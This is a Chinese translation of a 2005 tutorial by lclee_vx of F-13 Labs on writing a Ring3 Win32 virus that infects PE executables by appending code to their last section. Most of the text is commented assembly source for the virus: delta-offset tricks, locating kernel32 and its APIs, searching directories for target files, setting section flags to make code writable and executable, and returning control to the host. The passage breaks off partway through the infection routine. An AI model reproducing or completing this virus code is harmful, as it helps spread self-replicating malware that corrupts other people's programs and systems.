WIN32 Virus Run in Ring3

 

F-13 Labshtml

 

15June 2005程序员

 

 

 

 

 

 

 

WIN32 Virus Run in Ring3编程

 

 

 

 

 

 

 

 

 

 

 

 

 

声明:windows

 

本文做者对因不当使用本资料可能致使的任何损失不负有责任。本文的目的仅仅是出于教学和研究。本文所提技术在病毒编写中可使用,但不是鼓励任何对计算机系统的有意损害或破坏行为。app

做者: lclee_vx 译者:fqh编辑器

<Email: lclee_vx@yahoo.com>函数


1.0             前言 / 介绍学习

 

这篇文章是我在开始学习感染PE文件不久后写的,由于全部内容在我头脑中还很清晰。感染的方式是在PE文件最后一节附加病毒。在这里,我仅仅写个简单的windows病毒,因此你会看到代码的行数是较少的。(一些我感兴趣的东西,但多是不经优化的)。如今咱们开始教程,请注意传播病毒是非法的,而且全部这些资料彻底是理论性的,目的是可控环境中进行测试。

   

注意: 

病毒有6个功能模块

 

1. 搜索Kernel32.dlImageBase地址

2. 搜索一个要感染的文件

3. 打开文件看看它是否已被感染

4. 若是已感染,搜索另外一个文件

5. 反之,感染它

6. 把控制权交回给宿主程序

 

这篇文章远非是完美的,因此请告知我可能存在的错误以便更正。联系邮箱:

 

Email               :   lclee_vx@yahoo.com

 

             

在开始写病毒前你必须准备一些东西。以下:测试

 

1.                  tasm 5.0程序包 – ASM 编译器, 我喜欢用tasm :) !!优化

2.                  API 列表 (win32 API 帮助文件)

3.                  PE 文件格式强烈推荐Matt Pietrek 的资料

4.                  ASM 指令帮助文件Google搜索并下载helppc.zip.

5.                  Win32ASM的基础知识

6.                  Windows 系统平台

7.                  编辑器我喜欢欢EditPlus

8.                  Vmware – 测试环境

 

 

 

 

3.0             基础

 

3.1            Ring3

 

i386 体系有四个特权等级,也称为环。它们控制内存访问权和可否使用特定的敏感CPU指令。环3是权限最低的级别。为了保持兼容性,Windows NT/2000只使用了环0(内核模式)和环3(用户模式)。首先,在系统底层,存储器的层次以下:

 

 

 

 

00000000h – 3FFFFFFFh

应用程序代码和数据区

40000000h – 7FFFFFFFh

存储器的共享区 (system dll’s)

80000000h – BFFFFFFFh

内核

C0000000h – FFFFFFFFh

设备驱动

 

下面,咱们将写个病毒来在环3级别上(00000000h – 3FFFFFFFh)感染PE文件。我将再也不解释更多关于存储层次和系统结构的知识,由于我认为您能够从微软网站[1]里获取到这些信息。我假设你写的是一个在最后一个节添加代码的病毒。这种技术比在其余节增长代码要容易得多。在接下来的章节里,咱们看看病毒是怎样改变可执行文件的文件头的。

 

 

3.2            PE 格式

 

对于写Win32病毒来讲,熟悉PE文件头结构是很是重要的。好,这里我在附录中会给出PE格式和对它的简要描述,要想了解更多,请查阅下面我推荐的资料。

 

PE表明Portable Executable(可移植的执行体)。它是Win32,好比二进制程序(exe, dll, sys, scr)或对象文件(bpl, dpl, cpl, ocx, acm, ax),自带的文件格式。可移植的执行体的意思是win32平台好比Windows 98 and 2K/NT的通用文件格式。想了解PE文件格式,请参考:

 

1.      网站 Iczelion  : http://win32assembly.online.fr/pe-tut1.html

2.      网站msdn   :http://msdn.microsoft.com/msdnmag/issues/02/02/PE/default.aspx

3.      网站Jim Marinic  : http://jfmasmtuts.blowsearch.ws/Ch2/pefile.htm

 

3.3            Win32 汇编程序的结构

 

Win32汇编程序的基本结构以下:

 

;--------------------------------------------------------------------//

.386p

.model flat, stdcall

 

extrn       <external name 1>:PROC

extrn        <external name 2>:PROC

……….

 

.data

 

.code

 

start:

       <main code>

 

end start

end

;----------------------------------------------------------------------//

 

 

我假设你至少掌握了汇编语言的基础知识,它是每个破解者和程序员应该掌握的。

 

 

下面是一个简单的Win32汇编程序。我所作的仅仅是使用一个消息框,既然咱们工做于Win32,咱们想使用彻底的32位的力量,这个命令将是“MessageBoxA”。注意“MessageBoxA”的那个“A”后缀是处理ASCII字符的。咱们用已知的“extrn”命令定义它,而后压进参数并调用MessageBoxA这个API函数。记住,参数得以相反的顺序压进(堆栈)。下面 咱们继续

 

;--------------------------------------------------------------------------------------//

.386p

.model flat

 

 

extrn       MessageBoxA:PROC

extrn       ExitProcess:PROC

 

.data

szTitle           db       "Group : F-13 Labs", 0

szMessage       db   "This is Simple Win32 ASM program", 10

              db       "From lclee_vx (RosLee)", 0

 

.code

start:

       push       00000000h

       push       offset szTitle

       push       offset szMessage

       push       00000000h

       call       MessageBoxA

 

       push       00000000h

       call       ExitProcess

 

end start

;----------------------------------------------------------------------------//

 

最后,咱们编译这个win32汇编程序。我但愿各位很清楚编写win32汇编程序了。你也可使用makefile或者写个批处理来自动编译汇编程序

 

       Tasm32 /m3 /ml program

       Tlink32 /Tpe /aa program, program,, import32.lib

 

 

 

 

 

  1. Ring3下的Win32病毒编写

 

我将放一个Win32病毒的代码来避免枯燥地解释怎么写环3病毒、怎么调用API函数来API hook和感染PE文件。请注意,下面这个Win32病毒代码没有特殊的特征,好比多态引擎。它能被全部的杀毒软件发现。因此,它不值得去改变字符串来改变做者版权。

 

 

 

 

 

;------------------------------------------------------------------------------------//

; 病毒名称      : F-13 V1.0

; 系统平台      : Win32

; 做者            : lclee_vx (leelingchuan)

; 产地           : 马来西亚

; 组织            : F-13 Labs

; 目标            : PE 文件

; Copyright (c) 2005 by lclee_vx

;--------------------------------------------------------------------------------//

;下面是一些宏指令。我设置了病毒尺寸的长度。

;----------------------------------------------------------------------------------------//

 

.386

.model flat, stdcall

option casemap : none

 

VirusSize       equ       (offset Virus_End - offset Virus_Start)

 

.data

 

szTitle           db   "F-13 Labs", 0

szMessage       db       "lclee_vx", 0

 

.code

u32        db       "User32.dll", 0

Virus_Start       label       byte

 

;----------------------------------------------------------------------------------------------------//

; 首先,咱们要经过获取delta的偏移来得知当前的基址。这是由于咱们不知道这段代码是在哪里执行的。

; “call”指令把delta压进堆栈,并跳转到一个“pop”指令(译者注:即先把pop指令的地址压进堆栈,再把

; pop指令的地址放进EIP寄存器,EIPPOP指令执行后便把pop指令地址弹到ebp)

; 如今,ebp =当前进程的虚拟地址。当前基址=虚拟地址  – RVA(当前进程的相对虚拟地址)

;---------------------------------------------------------------------------------------------------//

 

vxstart:

       call  delta

 

delta:

       pop ebp

       sub ebp, offset delta                        ;从当前进程中获取基址

 

;-----------------------------------------------------------------------------------------------------//

; esp=进程的地址。我把它放到 ESI (它位于 Kernel32.dll,多是

; CreateProcess API) 并设置到PE文件的开头. 跳转到搜索Kernerl32基址的子程序

;----------------------------------------------------------------------------------------------------//

      

       mov esi, [esp]                                  ;装载返回地址

       and esi, 0FFFFF000h                       ;PE文件的开头

 

       call       GetK32                                      ;获取kernel32.dll基址的子程序:)

       mov dword ptr [ebp+kernel], eax               ;保存kernel32.dll的基址

 

;---------------------------------------------------------------------------------------------------//

;跳转到查找 GetProcAddress 地址的函数。GetProcAddress 函数将帮助咱们知道感染PE文件所必须的

;API函数的地址。把(GetProcAddress)地址保存到 EDI

;-----------------------------------------------------------------------------------------------//

 

       call       GetApi                                       ;搜索 GetProcAddress 的地址

       mov       [ebp+offset aGetProcAddress], edi          ;保存 GetProcAddress的相对地址

 

;------------------------------------------------------------------------------------------------//

;edi=保存API的地址, esi=全部咱们查找的API函数的 ASCIIZ 名称. GetAPIs子程度

;将搜索咱们须要的API的地址

;-------------------------------------------------------------------------------------------------//

 

       mov esi, [ebp+offset ListApi]                 ;开始搜索其余的API

       mov edi, [ebp+offset OffsetApi]                    ;咱们须要的函数.Rock :)!!

       call       GetApis

      

call       Prepare                                     ;准备感染的区域

       call       SetDirectory                                ;保存咱们想扫描文件的目录

 

;------------------------------------------------------------------------------------------------------//

;检查是否第一代 (已经感染?), 若是是, we jump to running the pop up

;message as below we use the LoadLibrary function to load other dll file and GetProcAddress

;to get the address of API we needed. Here, we load the User32.dll and get the address of

;MessageBox function if not first generation, we reset back the old EIP and jump back to the

;original host

;--------------------------------------------------------------------------------------------------//

 

RestoreEIP:

       cmp ebp, 0                                          ; 第一代?

       je    Finish                                         

       mov eax, [ebp+offset OldEIP]                ; 保存旧的EIP

       add eax, OldBase                             ;align to memory

       jmp eax                                    ; 返回宿主

 

Finish:

       call       LoadDll

      

       lea  edx, [ebp+offset @MessageBoxA]

       call       GetAddr

      

       push      0

       push       offset szTitle

       push       offset szMessage

       push      0

       mov eax, [ebp+offset @MessageBoxA]

       call  eax

       call       LoadDll

 

       lea  edx, [ebp+offset @ExitProcess]

       call       GetAddr

 

       push      0

       mov eax, [ebp+offset @ExitProcess]

       call  eax

 

;--------------------------------------------------------------------------------------------------//

;下面咱们使用LoadLibrary子程序装载咱们必须的dll,下面装载User32.dll

;和获取地址的GetProcAddress函数

;-----------------------------------------------------------------------------------------------//

 

LoadDll   proc

       push       offset u32                                   ;装载User32.dll

       mov eax, [ebp+offset @LoadLibraryA]

       call  eax

       ret

LoadDll   endp

 

GetAddr proc

       push       edx

       push       eax

       mov eax, [ebp+offset aGetProcAddress]

       call  eax

       ret

GetAddr endp

 

;--------------------------------------------------------------------------------------------//

;这部分开始感染PE文件。我使用的方法是在最后一节添加代码。首先,我

;解释API函数以及咱们必须的参数。

;

;     DWORD GetFileAttributes(

;           LPCTSTR lpFileName    //文件或目录名称的地址

;      );

;a) lpFileName=名称的地址

;

;

;     BOOL SetFileAttributes(

;      LPCTSTR lpFileName,   // 文件名称的地址

;      DWORD dwFileAttributes     // 要设置的属性的地址

;      );

; a) dwFileAttributes=80h (全部文件)

;

;

;     BOOL UnmapViewOfFile(

;      LPCVOID lpBaseAddress        //映射开始的地址 

;      );

; a) lpBaseAddress= MapViewOfFile返回的映射地址

;

;

;      BOOL CloseHandle(

;      HANDLE hObject        // 要关闭的文件对象的句柄 

;      );

; a) hObject= CreateFileMapping CreateFile返回的句柄

;

;

;      DWORD SetFilePointer(

;      HANDLE hFile,      // 文件句柄

;      LONG lDistanceToMove,  //文件指针移动的字节数目

;      PLONG lpDistanceToMoveHigh,       // address of high-order word of distance to move 

;      DWORD dwMoveMethod     //移动模式

;      );

; a)hFile=文件句柄

; b)lDistanceToMove=文件的长度

; c)lpDistanceToMoveHigh=0

; d)dwMoveMethod=0 (从文件的开头)

;

;

;      BOOL SetEndOfFile(

;      HANDLE hFile      // 要设置末尾的文件的句柄

;      );

; a)hFile=文件句柄

;

;

;咱们必须设置节的标志来容许咱们添加代码,以下所示

;              or dword ptr [esi+24h],00000020h       ; 设置 [CWE] 标志: 代码,

;              or dword ptr [esi+24h],20000000h       ; 可执行,

;              or dword ptr [esi+24h],80000000h       ; 可写

;简单起见,我仅仅写以下代码

;              or dword ptr [esi+24h], 0A0000020h

;

;

;最后一个section header的地址计算公式以下:

;最后一个section's header的地址 =(Directory Table)+(No. of Directories)*(Directory Size) +(No. of Sections - 1)*(Section header size)

;And remember that

;               Directory的尺寸是 8

;      Section Header 的尺寸是 28h.